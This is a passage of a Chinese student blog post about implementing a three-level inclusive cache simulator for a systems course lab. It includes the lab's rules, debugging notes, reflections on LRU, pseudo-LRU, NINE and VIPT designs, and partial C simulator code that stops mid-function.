#define L1_CACHELINE_SIZE 8 #define L2_SET_NUM 8 #define L2_LINE_NUM 4 #define L2_CACHELINE_SIZE 8 #define L3_SET_NUM 16 #define L3_LINE_NUM 8 #define L3_CACHELINE_SIZE 16 #define ADDRESS_LENGTH 64 #define MAX_TRANS_FUNCS 100 //核心的CacheLine是一个结构体 typedef struct { bool valid; bool dirty; uint64_t tag; uint64_t latest_used; // for LRU } CacheLine; typedef struct trans_func { void (*func_ptr)(int M, int N, int[N][M], int[M][N]); char *description; char correct; unsigned int num_hits; unsigned int num_misses; unsigned int num_evictions; } trans_func_t; // defined in csim.c extern CacheLine l1dcache[L1_SET_NUM][L1_LINE_NUM]; // L1 Instruction Cache extern CacheLine l1icache[L1_SET_NUM][L1_LINE_NUM]; // L2 Unified Cache extern CacheLine l2ucache[L2_SET_NUM][L2_LINE_NUM]; // L2 Unified Cache extern CacheLine l3ucache[L3_SET_NUM][L3_LINE_NUM]; /* Fill the matrix with data */ void initMatrix(int M, int N, int A[N][M], int B[M][N]); /* The baseline trans function that produces correct results. */ void correctTrans(int M, int N, int A[N][M], int B[M][N]); /* Add the given function to the function list */ void registerTransFunction(void (*trans)(int M, int N, int[N][M], int[M][N]), char *desc); #endif 实现的时候我们按照如下的顺序（程序框图,假设我们在访问第i级Cache）：\n根据内存地址得到相应的tag，set字段的值 检查第 i 级cache是否命中 如果命中，跳到第8步 否则，继续访问下一级cache（或内存）获取数据 在本级cache对应的set中找一个invalid的cache line，用于放置从下一级cache（或内存）加载的cache line，如果有多个invalid的cache line，选择下标最小的一个，然后跳到第8步 如果在第5步对应的set已满，你需要首先evict一个cache line，evict的过程使用LRU算法，如果evict的cache line是dirty的，你需要首先将其写入到下一级缓存（或内存） 由于inclusive policy，你可能需要back invalidation第 i - 1 级cache中的cache line 设置这个cache line对应的tag字段，LRU字段和valid字段 如果访问模式是写操作，设置dirty字段 返回 给了我们一个例子，我来看看\u0026hellip;\u0026hellip;\ncache的访问trace依次为：\nRead a Read b Read a Write b Read c Write a Read d Read c Write b Write c Read e Read f Read b Read d 画一画吧，这个还是挺复杂的，最复杂的地方就在于驱逐的时候Back Invalidation的逻辑。\n助教给出的一些注意事项：\n在访问cache之前，你需要正确的初始化所有的cache line, 换句话说，你需要把所有的字段全部初始化为0\n你可以假设，对于单个cache的访问，不会出现跨两个cache line的情况，换句话说，你可以忽略cacheAccess函数中的第三个参数\n对于M类型的访问，你可以等价的将他看作为一次读取和一次写入\n需要注意的是，L2和L3 cache会同时包含指令和数据\n你可以假设指令和数据不会访问同一块内存，换句话说，你可以假设L2中的某个cache line不会同时出现在L1D cache和L1I cache中\n这里TMD是这样的么，我假设访问一块内存之后就过了一堆样例（也有可能是我误人子弟了。。。。。。）\n本次实验仅要求模拟cache访问，因此你无需关心具体的写入数据\n你可以使用位运算相关技巧从传入的地址中提取出tag，set，block等信息\n你可以使用位运算相关技巧根据tag，set，block的信息拼接出内存地址\n在加载一条cache line时，你需要在当前cache set中找出一条可用的cache line, 换句话说，你需要找到一条valid字段为false的cache line。如果有多条可用的cache line，你需要选择下标最小的一个\n你需要严格使用LRU算法来找到需要evict的cache line\n你可以简单使用循环的方式来暴力实现LRU，而不考虑复杂度的问题，为此，你可以维护一个全局时钟并且仔细的设置cache line结构中的latest_used字段\n在evict一条cache line时，你需要考虑dirty字段的影响，换句话说，如果dirty为true，你需要在加载新的cache line之前，将旧的cache line写回到下一级cache（或内存）。如果dirty为false，你可以简单的将这条cache line丢弃\n你在进行evict的时候，无需对evict的cache line的LRU字段进行改动\n你需要在每次成功访问一条cache line之后设置LRU字段，成功访问指写入/读取命中，或者是从下级缓存加载了相应的cache line之后的读取/写入操作\n在发生conflict miss时，你需要严格遵守先fetch，后evict的过程，即先访问下一级缓存或者内存得到数据所在的cache line，再选择需要evict的cache line，这可能会影响LRU设置的顺序。考虑一个例子，假如某个时刻全局时钟为10，L1发生conflict miss，L2 hit，你需要首先访问L2，由于L2 hit，设置L2中对应的cache line的LRU为10，然后将cache line返回给L1，假设L1需要evict的cache line是dirty的，你需要将其首先写回L2，这是100% hit的（为什么？），因此设置L2中对应的cache line的LRU为11，最后将需要的cache line放置在L1经evict空出的位置上，然后设置对应的LRU为12\n本次实验要求上一级cache的内容一定存在于下一级cache中，这叫做inclusive policy。你需要时刻保证这一条性质，并且好好利用它\n受限于inclusive policy，写回脏数据的过程实际上是100% hit的，你需要合理的安排代码顺序实现这一点\n当你处理write miss时，需要首先访问下一级缓存（或者内存）获取cache line，然后再写入这条cache line。在此过程中，你需要仔细思考对于下一级缓存应该以什么类型进行访问\n如果你需要从L2 evict某个cache line，假设这个cache line也存在于L1, 你需要将L1中对应的cache line也进行evict，这个过程叫做back invalidation。如果L1中的数据是dirty的，你需要首先将其写回L2。\n如果你需要从L3 evict一个cache line，你也需要分别将L1和L2中对应的cache line进行evict。在此过程中，你需要好好思考evict的顺序，以保证inclusive的性质。\n注意，不同级别的缓存cache line的大小可能是不一样，你在设计代码的时候需要考虑这会产生哪些影响，并仔细的处理相关流程\nvscode ctrl + shift + I整理代码\n我草，debug快疯了\u0026hellip;\u0026hellip;（debug日记）\n//分析一下错误 Testcase Lines Result Random Score --------------------------------------------------------------------------------- traces-data-intensive/long.trace 267988 FAIL IGNORE 0/3 Details for trace \u0026lt;traces-data-intensive/long.trace\u0026gt; Your simulator Reference simulator Level Hits Misses Evicts Hits Misses Evicts L1 D 231249 55715 53833 230444 56520 53285 L1 I 0 0 0 0 0 0 L2 46998 26645 26424 47391 27797 24629 L3 32061 10181 10053 33435 11645 11517 hits 和 misses的和相等，但是差刚好差了805,hits多了，misses少了，随之evict也会变多，这应该不是计数而是逻辑的问题\nraces-basic/mixed-2.trace 90 FAIL IGNORE 0/5 Details for trace \u0026lt;traces-basic/mixed-2.trace\u0026gt; Your simulator Reference simulator Level Hits Misses Evicts Hits Misses Evicts L1 D 20 60 52 20 60 52 L1 I 18 12 7 17 13 6 L2 71 43 15 71 44 16 L3 19 28 0 21 28 0 为什么I指令自己没错，分开都没错，但是结合到一起就出错了,两者之间为什么会相互影响？？？\ntraces-hard/grep.trace 406467 FAIL IGNORE 0/1 Details for trace \u0026lt;traces-hard/grep.trace\u0026gt; Your simulator Reference simulator Level Hits Misses Evicts Hits Misses Evicts L1 D 37304 1068 949 22544 15828 502 L1 I 184075 184064 184034 184075 184064 184016 L2 176099 9087 9055 118023 81983 81951 L3 6693 2413 2285 79669 2416 2288 L3hits之间差距过大,L2中的数据没有及时驱逐？？？\n先放这，休息一下再看。\n已经拿了76分，但实在是很难找到剩下的逻辑错误！煎熬！\nOK，最后拿了93分，差一点点实在是找不出来为啥了,不贴源代码了，写了六七百行能跑的垃圾，之后再精简总结一下,这下是真尽力了，我感觉已经不是一个设计的问题了，到最后我甚至要去猜哪里的设计提示是不是说的有问题，有错误，那就没有意思了对么\u0026hellip;\u0026hellip;\n最后应该是因为三层地址中block位并不一样的原因，这里要细节处理一下，因为你直接把L3的block干成0,可能会对于L2的setIndex位产生影响。\n我放代码：\n1.我写的代码很垃圾，放的没有意义（主要是时间很紧张，压缩一下应该能在300行左右）。\n2.维护学术诚信。\n关于Cache的一些思考 # 也不算很深，进一步探究一下，以下都是我自己或者问gpt得到的观点，自己的一些看法，如果您对于某个问题有着更好的理解，欢迎在评论区指出来，这里我说的低级cache或者下层的cache指的是靠近内存的cache。\n1. # 在这个实验中一直强调的一个点是Inclusive policy，这种设计方法在以前的CPU，特别是Intel的CPU中很常见，但其实现代的CPU以及逐渐转向使用NINE模式，因此会产生以下问题：\n使用Inclusive policy的缓存必须满足什么条件？这样设计的优缺点分别是什么？\n​\t底层缓存必须包含上层的缓存，在底层缓存驱逐的时候要做back invalidation。\n好处：\n​\t好判断，多核的时候很好知道高级缓存的内容是否存在于低级缓存之中。\n缺点：\n​\t冗余数据驱逐：L2 驱逐某数据时，即使 L1 正在频繁使用，也必须一并驱逐它，增加了不必要的 L1 miss。\n​\t容量浪费：为了维护包含关系，L2 的一些空间可能被迫用于保持与 L1 相同的数据，降低了有效利用率。\n​\t降低性能上限：高级缓存未能成为真正的“补充层”，而是受限于 L1 的命中内容。\nNINE策略不要求低级cache强制包含高级cache内容，这样做相比inclusive的好处和坏处分别是什么？\n​\t（NINE：Non-Inclusive, Non-Exclusive）\n​\tNINE就是说下层的cache和上层的cache，二者之间不要求下层cache一定要包含上层cache的内容，同时也不要求两层cache之间的内容一定要是相互排斥的。\n好处：\n​\t减少了数据冗余，提高了缓存的利用率，当下层的cache要被驱逐的时候，不会影响上层的cache，从而导致没有必要的cache miss。\n缺点：\n​\t我很难保证一致性的问题，并且数据的管理相对复杂（NINE就是在包含性和排他性策略之间的一种状态），比如说我在L2 cache hit了之后，决定到底要不要把这个数据加载到L1中去之后干掉L2,包含性就是不能干掉，排他性就是必须干掉。\n本次实验实际上借助inclusive的性质大大简化了设计，如果采用NINE结构，你将如何调整你的代码？\n​\t首先去除back invalidation的这部分逻辑，其次和上一个问题一样，我要设置premote下层cacheline的一个逻辑。\n2. # 现代CPU几乎都采用L1D和L1I两种缓存结构，而在L2及更低级的缓存使用统一指令和数据的方式，这么做的好处是什么？\n以下是gpt的回答（我觉得写的还好，是否合理我也就不算很清楚了）：\n✅ 为什么 L1 要分成 L1D 和 L1I？\n➕ 好处一：提高访问带宽（并行性）\nCPU 在每个周期通常同时需要取指（fetch instruction）和访问数据。 如果 L1 是 unified 的，指令和数据会争用同一个缓存端口（cache port）。 分离 L1I 和 L1D 后，CPU 能 同时读取指令和访问数据，实现并发访问，提升执行效率。 ➕ 好处二：降低访问延迟（latency）\nL1 是最靠近执行核心的缓存，需要尽可能小而快。 分开管理指令和数据，可以让 L1I 和 L1D 各自做更有针对性的优化，例如： L1I 可以预取、预测分支； L1D 可以更好地处理 load/store、写缓冲等。 ➕ 好处三：避免污染和干扰\n指令和数据的访问模式差异很大： 指令访问具有更强的顺序性、局部性好； 数据访问则可能跳跃、随机、重复读取。 分开缓存避免了数据污染指令缓存（或反之），提升命中率和稳定性。 ✅ 为什么 L2/L3 使用 unified cache？\n➕ 原因一：提高缓存利用率\nL2/L3 体积更大（通常是几百 KB 到几十 MB）。 如果分为 I-cache 和 D-cache，则可能出现： L2D 已满但 L2I 还有空闲空间（或反之）； 导致资源浪费。 Unified cache 可以动态地根据访问需求分配空间，更灵活。 ➕ 原因二：简化设计，节省成本\nL2/L3 远离核心，访问延迟更高，并发访问不再是瓶颈。 统一设计结构更简单，不需要分别维护 tag、替换策略等逻辑。 ➕ 原因三：有助于 cache coherence 协议的实现\n多核共享的 L3 cache 使用统一结构更方便跟踪、标记和通信，便于维护一致性。 3. # 你觉得CPU是如何区分指令内存和数据内存的访问的？\n​\t1.现代 CPU 内部有清晰划分的模块：\n取指单元（Instruction Fetch Unit） 专门负责取指令 加载/存储单元（Load/Store Unit） 专门负责读写数据 这两者访问内存的路径不同，进而访问不同的 Cache 层次结构（如 L1I vs. L1D）。\n​\t2.从软件视角来看：\n编译器把「执行代码」转成了存放在某段内存中的机器指令 把「变量数据」分配到另一块内存空间 于是，在 CPU 运行时：\n指令指针（PC / IP）发出的访问是“取指” 普通 Load/Store 指令发出的访问是“访问数据” ​\t也就是说根据发出指令的操作单元就可以说明这个指令究竟是I还是L指令。\n4. # 本次实验要求实现严格的LRU算法，一种暴力实现方式是遍历所有cache line, 这样时间复杂度为O（E），你可以设计一种复杂度为O（1）的实现方式吗？\n​\t一道关于LRUCahce的lc，你应该能很好的理解为什么？https://leetcode.cn/problems/lru-cache/description/\n​\t这是实现的Java代码（我之前写过很多Java代码）\n//Least Recently Used //最近最少使用 //HashMap + DoublyLinkedList class LRUCache { //简单的双向链表 class Node{ int key; int val; Node prev; Node next; public Node(){} public Node(int _key, int _val){key = _key; val = _val;} } private Map\u0026lt;Integer, Node\u0026gt; cache; private int size; private int capacity; private Node head; private Node tail; //初始化缓存 public LRUCache(int capacity) { cache = new HashMap\u0026lt;\u0026gt;(); this.size = 0; this.capacity = capacity; head = new Node(); tail = new Node(); head.next = tail; tail.prev = head; } //相当于读取内存，读取成功这个值就返回value,并且放到双向链表的头部，否则返回-1（实际上要从内存中获取） public int get(int key) { if(cache.containsKey(key)){ moveToHead(cache.get(key)); return cache.get(key).val; } return -1; } //写值，道理类似 public void put(int key, int value) { if(cache.containsKey(key)){ Node node = cache.get(key); node.val = value; moveToHead(node); }else{ ++size; if(size \u0026gt; capacity){ --size; Node d = tail.prev; remove(d); cache.remove(d.key); } Node node = new Node(key, value); cache.put(key, node); add(node); } } //一旦get或者put，就放到head之后，作为最新的节点 private void moveToHead(Node node){ remove(node); add(node); } //一旦过容量，或者其他场景，删除节点 private void remove(Node node){ Node p = node.prev; Node n = node.next; p.next = n; n.prev = p; } //新put进来的元素，加到头节点之后 private void add(Node node){ Node n = head.next; head.next = node; node.prev = head; node.next = n; n.prev = node; } } ​\t基本就是利用；双向链表和hashmap，这样当我们给出一个值，我可以根据这个值直接找到对应的cacheline和在linkedlist中对应的node，直接把这个node提前到head位置，那么这个节点就是最新的，tail之前的节点就是最老的。\n​\t虽然是O（1），但是实际的开销并不会小。\n5. # LRU算法在某种特定的情形下会造成100% miss，你可以发现这种访问模式吗？\n​\tLRU Thrashing（LRU抖动）\n​\t比如这样，你的L1cache现在只有一个set，三行line，我对于四个元素A B C D进行循环的访问，那么开始就会\n​\t依次加入 A B C\n​\t接着读取D miss 去除A 放置D\n​\t接着读取A miss 去除B 放置A\n​\t接着读取B miss 去除 C 放置B\n​\t\u0026hellip;\u0026hellip;\n​\t上面这样的情况就会100%miss。\n6. # 实际硬件中，实现LRU算法其实十分昂贵，因此大多数厂家采用近似LRU的方法，如果让你设计，你会如何设计这种算法？\n来自于gpt，讲的并不好理解，可以看看https://en.wikipedia.org/wiki/Pseudo-LRU\n​\tPseudo-LRU (PLRU)\n实现：\n最常见的是 二叉树 PLRU（Binary Tree Pseudo LRU）： 适用于 4、8、16 路组相联 Cache。 维护一个“树状指针结构”，每个节点记录最近访问的是左还是右。 总共只需 E - 1 个 bit 就能表示选择哪条 line 替换。 原理图：\n(b1) / \\ (b2) (b3) / \\ / \\ A B C D 每个内部节点 0/1 表示最近访问的是哪一侧 选择替换线时，从根节点走向“最久未访问的方向” 举个例子：\nb0, b1, b2 是 3 个位（bit），分别控制走向哪个子树。 每个 bit 记录“最近使用的是哪一边”。 这些 bit 可以这样理解：\n如果 b0 = 0，表示最近访问的是左子树（A、B），因此优先替换右子树（C、D） 如果 b1 = 1，表示在左子树中，最近访问的是 B → 替换 A 如果 b2 = 0，表示在右子树中，最近访问的是 C → 替换 D 从根开始，按照 bit 的指示往“没被最近访问过”的方向走，直到到达一个叶子节点（就是要被替换的 cache line）。\n然后反过来，更新路径上的 bit，表示刚刚走过的那条路径是“最近访问过的”。\n假设当前：\nb0 = 0 → 上次用了左边（A 或 B） b1 = 1 → 上次用了 B b2 = 0 → 上次用了 C 替换时：\n从 b0 看 0 → 最近访问的是左边 → 应该替换右边 进入 b2，看 0 → 最近访问的是 C → 应该替换 D ✅ 所以选择替换 D\n然后把：\nb0 = 1（因为现在访问右边） b2 = 1（访问了 D） 优点：\n硬件实现简单，开销低 实际效果在很多场景下接近 LRU 缺点：\n并不是真正的最久未使用，有可能替换到常用块 7. # 本次实验中在实现上有个小细节是，在发生conflict miss时，我们总是先从下一级fetch数据，然后再判断是否需要evict，这样做的好处和不足是什么？如果上述两个操作的流程互换之后，带来的好处和坏处是什么？你可能需要综合考虑inclusive policy带来的影响。\n​\t如果仅有一层cache和memory，那么先后顺序是无所谓的。\n​\t我们用两层Cache和memory来理解一下这个问题：\n​\tL1 L2 memory\n​\t现在我访问L1 miss，L1满了，直接把那个要放入位置的数据驱逐掉。\n​\t又访问L2 miss，L2满了，驱逐，此时要考虑back invalidation，如果L1包含，那么那行cacheline也要驱逐掉，但是此时back invalidation的cacheline，和L1时候就驱逐的cacheline有可能是一行cacheline，这是否造成了浪费。\n​\t现在再从memory取值放入L2,L1刚刚驱逐的位置。\n方案 优点 缺点 先 fetch 后 evict（实验采用） - 避免 Inclusive 引起的无意义 invalidate - 更稳定一致性 - 实现简单 - 延迟高 - 有时多余 fetch 先 evict 后 fetch - 可优化延迟 - 有可能并行处理 - 易与 Inclusive 冲突 - 需要额外状态管理 8. # 进行cache访问时，需要根据内存地址提取出tag，set等字段，而CPU产生的地址实际上都是虚拟地址，需要额外的机制转换成物理地址（详见虚拟内存章节）。因此，cache的设计实际上可以分成physical index和virtual index两种方式，即采用物理地址或者虚拟地址两种地址解析tag，set等内容，那么：\n使用physical index的cache的优缺点是什么？\n避免了别名的问题，要TLB转换，带来延迟。\n使用virtual index的cache的优缺点是什么？\n访问会变快，但是有别名的问题。\n你能不能设计一种方法综合利用上述两种方式各自的优势？\n不能（？）\n折中方案：VIPT（Virtual Index, Physical Tag） # 先用虚拟地址索引（提取 index），用物理地址比对（tag）\n优势： # 保留了虚拟访问的速度优势（用虚拟 index 找 set） 同时 用物理 tag 避免 alias 问题 是 现代 L1 Cache 的主流设计（只要满足 index bits 不跨 page boundary） 设计要点： # Page offset 不变，必须保证 index bits 落在 page offset 范围（否则访问前无法知道 index）。 比如： 页大小：4KB = 12 bits offset Index bits ≤ 12 Tag 用物理地址中除去 index + block offset 部分 学过一点Java多线程，但是还没有系统学过OS，多少能理解一下多线程的问题，到这里已经相当复杂了，我就不再纸上谈兵了。\n9. # 本次实验中实现的模拟器只能应对顺序访问，如果需要扩展你的模拟器以支持多个线程并发访问，你该如何调整现有的代码？\n​\t每一组cacheset用mutex（互斥🔓），保证任何一个时刻，一个set最多仅有一个thread访问。\n​\t原子操作LRU等数据。\n如果您有更好的看法，欢迎在评论区直接指出！\n10. # 本次实验中不要求考虑多核之间的一致性问题，如果考虑多核之间一致性的问题，且L3作为多核之间的共享缓存，你该如何调整现有的代码？\n11. # 在考虑多核之间cache一致性的前提下，如果需要将inclusive策略变成NINE策略，你需要如何改进现有的代码？\n成品代码：\n在我的github上也有，在你自己实现的时候会发现很多相似的逻辑，想想怎么封装，本来应该是一个很精妙的代码构成。\n#include \u0026#34;cachelab.h\u0026#34; #include \u0026lt;stdint.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; // 可能要包含的头文件 // 要不要封装功能？具体实现的方式 // 先写的时候可以不急着做功能抽象，先写出来试试看 // Q：当我在l2中访问缓存命中时，我要把这个地址加载回l1,但是由于这个地址已经确定，那么不会出现明明有空但是必须驱逐的现象么 // 相关数据统计量，是我在实现的过程中要进行维护的 容易忘记 一共3 * 4 = 12个数据 // 当一个地址给定的时候，它的所有的SetIndex就已经定下来了 // 注意C语言的{}的风格 int l1d_hits = 0; int l1d_misses = 0; int l1d_evictions = 0; int l1i_hits = 0; int l1i_misses = 0; int l1i_evictions = 0; int l2_hits = 0; int l2_misses = 0; int l2_evictions = 0; int l3_hits = 0; int l3_misses = 0; int l3_evictions = 0; // 定义一些常量 #define L1S 2 #define L1B 3 #define L2S 3 #define L2B 3 #define L3S 4 #define L3B 4 #define INSTRUCTION 0 #define DATA 1 //@params time:要使用LRU算法维护的一个全局时钟 int timeStamp = 0; // 全局变量加载默认初始化为0 void cacheInit() { } // 拼接地址,假设填充的偏移字节不会产生影响：都用0来做填充 // 这里要好好检查有没有出错 uint64_t addressConcate(uint64_t tag, uint64_t setIndex, int s, int b) { uint64_t addr = ((tag \u0026lt;\u0026lt; (s + b)) | (setIndex \u0026lt;\u0026lt; b)); return addr; } // 把驱逐一个CacheLine的功能封装一下,要考虑无效回溯的情况，但是我很难封装到一个function里面去，最好写成四个function // 要驱逐的cacheLine地址 // 并且合理利用包含准则 // 直接把地址作为参数，复用性是不是会更强---\u0026gt;我的目的还是为了少传送几个参数 // 这几个驱逐的函数只是单纯的做驱逐的处理，但是不会加载新的值 // lru找要不要也封装？这样对地址操作有可能出错吗？ // 还要对于统计量进行操作 // 要考察是不是无效回溯导致的驱逐，如果是，那么这里不应该算进去统计的问题 // l1i是一个只读的内存, void evictCacheLineFroml1i(uint64_t evictAddress, bool isBackInvalidation) { uint64_t tag = (evictAddress \u0026gt;\u0026gt; (L1S + L1B)); uint64_t setIndex = ((evictAddress \u0026gt;\u0026gt; L1B) \u0026amp; 0b11); int evictIndex = -1; for (int index = 0; index \u0026lt; L1_LINE_NUM; ++index) { // 找到了要驱逐的行 if (l1icache[setIndex][index].valid \u0026amp;\u0026amp; l1icache[setIndex][index].tag == tag) { evictIndex = index; break; } } // 没有要驱逐的行,因为要考虑Back Invalidation if (evictIndex == -1) { return; } // 有要驱逐的行 if (!isBackInvalidation) { ++l1i_evictions; } l1icache[setIndex][evictIndex].valid = false; } // L1dcache的驱逐的逻辑和L1icahce的逻辑应该是类似的,其实不是 void evictCacheLineFroml1d(uint64_t evictAddress, bool isBackInvalidation) { uint64_t tag = (evictAddress \u0026gt;\u0026gt; (L1S + L1B)); uint64_t setIndex = ((evictAddress \u0026gt;\u0026gt; L1B) \u0026amp; 0b11); int evictIndex = -1; for (int index = 0; index \u0026lt; L1_LINE_NUM; ++index) { // 找到了要驱逐的行 if (l1dcache[setIndex][index].valid \u0026amp;\u0026amp; l1dcache[setIndex][index].tag == tag) { evictIndex = index; break; } } // 没有要驱逐的行,因为要考虑Back Invalidation if (evictIndex == -1) return; if (!isBackInvalidation) { ++l1d_evictions; } // 有要驱逐的行 l1dcache[setIndex][evictIndex].valid = false; if (l1dcache[setIndex][evictIndex].dirty) { uint64_t tag2 = (evictAddress \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex2 = ((evictAddress \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { if (l2ucache[setIndex2][index].valid \u0026amp;\u0026amp; l2ucache[setIndex2][index].tag == tag2) { // L2的这个Cache被写了，更改timeStamp ++l2_hits; ++timeStamp; l2ucache[setIndex2][index].latest_used = timeStamp; l2ucache[setIndex2][index].dirty = true; return; } } } } // 从l2ucache驱逐,还要考虑你驱逐的是i还是d void evictCacheLineFroml2(uint64_t evictAddress, int TYPE, bool isBackInvalidation) { if (!isBackInvalidation) { uint64_t tag = (evictAddress \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex = ((evictAddress \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); int evictIndex = -1; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { if (l2ucache[setIndex][index].valid \u0026amp;\u0026amp; l2ucache[setIndex][index].tag == tag) { evictIndex = index; } } // 没有找到要驱逐的位置 if (evictIndex == -1) { return; } // 这里要进行驱逐 // 首先从l2ucache驱逐要考虑无效回溯 // L2 back Invalidation L1的时候不应该给L1算一次evict? ++l2_evictions; evictCacheLineFroml1d(evictAddress, true); evictCacheLineFroml1i(evictAddress, true); l2ucache[setIndex][evictIndex].valid = false; // 直接驱逐的情况 if (l2ucache[setIndex][evictIndex].dirty) { uint64_t tag3 = (evictAddress \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((evictAddress \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); for (int index = 0; index \u0026lt; L3_LINE_NUM; ++index) { if (l3ucache[setIndex3][index].valid \u0026amp;\u0026amp; l3ucache[setIndex3][index].tag == tag3) { ++l3_hits; ++timeStamp; l3ucache[setIndex3][index].latest_used = timeStamp; l3ucache[setIndex3][index].dirty = true; return; } } } } else { uint64_t tag = (evictAddress \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex = ((evictAddress \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); int evictIndex = -1; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { if (l2ucache[setIndex][index].valid \u0026amp;\u0026amp; l2ucache[setIndex][index].tag == tag) { evictIndex = index; evictCacheLineFroml1d(evictAddress, true); evictCacheLineFroml1i(evictAddress, true); l2ucache[setIndex][evictIndex].valid = false; // 直接驱逐的情况 if (l2ucache[setIndex][evictIndex].dirty) { uint64_t tag3 = (evictAddress \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((evictAddress \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); for (int i = 0; i \u0026lt; L3_LINE_NUM; ++i) { if (l3ucache[setIndex3][i].valid \u0026amp;\u0026amp; l3ucache[setIndex3][i].tag == tag3) { ++l3_hits; ++timeStamp; l3ucache[setIndex3][i].latest_used = timeStamp; l3ucache[setIndex3][i].dirty = true; } } } } } if (setIndex % 2 == 0) { ++setIndex; evictIndex = -1; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { if (l2ucache[setIndex][index].valid \u0026amp;\u0026amp; l2ucache[setIndex][index].tag == tag) { evictIndex = index; evictCacheLineFroml1d(evictAddress, true); evictCacheLineFroml1i(evictAddress, true); l2ucache[setIndex][evictIndex].valid = false; // 直接驱逐的情况 if (l2ucache[setIndex][evictIndex].dirty) { uint64_t tag3 = (evictAddress \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((evictAddress \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); for (int i = 0; i \u0026lt; L3_LINE_NUM; ++i) { if (l3ucache[setIndex3][i].valid \u0026amp;\u0026amp; l3ucache[setIndex3][i].tag == tag3) { ++l3_hits; ++timeStamp; l3ucache[setIndex3][i].latest_used = timeStamp; l3ucache[setIndex3][i].dirty = true; } } } } } } if (setIndex % 2 == 1) { --setIndex; evictIndex = -1; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { if (l2ucache[setIndex][index].valid \u0026amp;\u0026amp; l2ucache[setIndex][index].tag == tag) { evictIndex = index; evictCacheLineFroml1d(evictAddress, true); evictCacheLineFroml1i(evictAddress, true); l2ucache[setIndex][evictIndex].valid = false; // 直接驱逐的情况 if (l2ucache[setIndex][evictIndex].dirty) { uint64_t tag3 = (evictAddress \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((evictAddress \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); for (int i = 0; i \u0026lt; L3_LINE_NUM; ++i) { if (l3ucache[setIndex3][i].valid \u0026amp;\u0026amp; l3ucache[setIndex3][i].tag == tag3) { ++l3_hits; ++timeStamp; l3ucache[setIndex3][i].latest_used = timeStamp; l3ucache[setIndex3][i].dirty = true; } } } } } } } } // 从l3ucache驱逐，同样要考虑驱逐的类型问题 void evictCacheLineFroml3(uint64_t evictAddress, int TYPE) { uint64_t tag = (evictAddress \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex = ((evictAddress \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); int evictIndex = -1; for (int index = 0; index \u0026lt; L3_LINE_NUM; ++index) { if (l3ucache[setIndex][index].valid \u0026amp;\u0026amp; l3ucache[setIndex][index].tag == tag) { evictIndex = index; break; } } if (evictIndex == -1) { return; } // Back Invalidation ++l3_evictions; evictCacheLineFroml2(evictAddress, INSTRUCTION, true); l3ucache[setIndex][evictIndex].valid = false; } // TODO：思考fetch函数组的封装有没有问题 // 想把一个line从L2fetch到l1i void fetchl2tol1i(uint64_t setIndex1, uint64_t tag1) { // 维护l1驱逐的情况 int evictIndexl1i = -1; uint64_t minTimeStampl1i = UINT64_MAX; for (int j = 0; j \u0026lt; L1_LINE_NUM; ++j) { // 能找到L1也存在无效的情况,最好的情况 if (!l1icache[setIndex1][j].valid) { ++timeStamp; l1icache[setIndex1][j].latest_used = timeStamp; l1icache[setIndex1][j].dirty = false; l1icache[setIndex1][j].tag = tag1; l1icache[setIndex1][j].valid = true; return; } // 要给l1驱逐的情况 else { if (l1icache[setIndex1][j].latest_used \u0026lt; minTimeStampl1i) { minTimeStampl1i = l1icache[setIndex1][j].latest_used; evictIndexl1i = j; } } } // 先给l1i做驱逐 uint64_t evictL1iAddress = addressConcate(l1icache[setIndex1][evictIndexl1i].tag, setIndex1, L1S, L1B); evictCacheLineFroml1i(evictL1iAddress, false); // 此时l1i已经驱逐完毕,驱逐完了之后再fetch进去 ++timeStamp; l1icache[setIndex1][evictIndexl1i].latest_used = timeStamp; l1icache[setIndex1][evictIndexl1i].dirty = false; l1icache[setIndex1][evictIndexl1i].tag = tag1; l1icache[setIndex1][evictIndexl1i].valid = true; } // 把一个line从L2fetch到l1d void fetchl2tol1d(uint64_t setIndex1, uint64_t tag1) { int evictIndexl1d = -1; uint64_t minTimeStampl1d = UINT64_MAX; for (int j = 0; j \u0026lt; L1_LINE_NUM; ++j) { if (!l1dcache[setIndex1][j].valid) { ++timeStamp; l1dcache[setIndex1][j].latest_used = timeStamp; l1dcache[setIndex1][j].dirty = false; l1dcache[setIndex1][j].tag = tag1; l1dcache[setIndex1][j].valid = true; return; } else { if (l1dcache[setIndex1][j].latest_used \u0026lt; minTimeStampl1d) { minTimeStampl1d = l1dcache[setIndex1][j].latest_used; evictIndexl1d = j; } } } uint64_t evictL1dAddress = addressConcate(l1dcache[setIndex1][evictIndexl1d].tag, setIndex1, L1S, L1B); evictCacheLineFroml1d(evictL1dAddress, false); ++timeStamp; l1dcache[setIndex1][evictIndexl1d].latest_used = timeStamp; l1dcache[setIndex1][evictIndexl1d].dirty = false; l1dcache[setIndex1][evictIndexl1d].tag = tag1; l1dcache[setIndex1][evictIndexl1d].valid = true; } // 把一个line从L3fetch到L2 void fetchl3tol2(uint64_t setIndex2, uint64_t tag2, int TYPE) { uint64_t minTimeStamp = UINT64_MAX; // 如果满了，要驱逐的index int evictIndex = -1; for (int i = 0; i \u0026lt; L2_LINE_NUM; ++i) { if (!l2ucache[setIndex2][i].valid) { ++timeStamp; l2ucache[setIndex2][i].latest_used = timeStamp; l2ucache[setIndex2][i].dirty = false; l2ucache[setIndex2][i].tag = tag2; 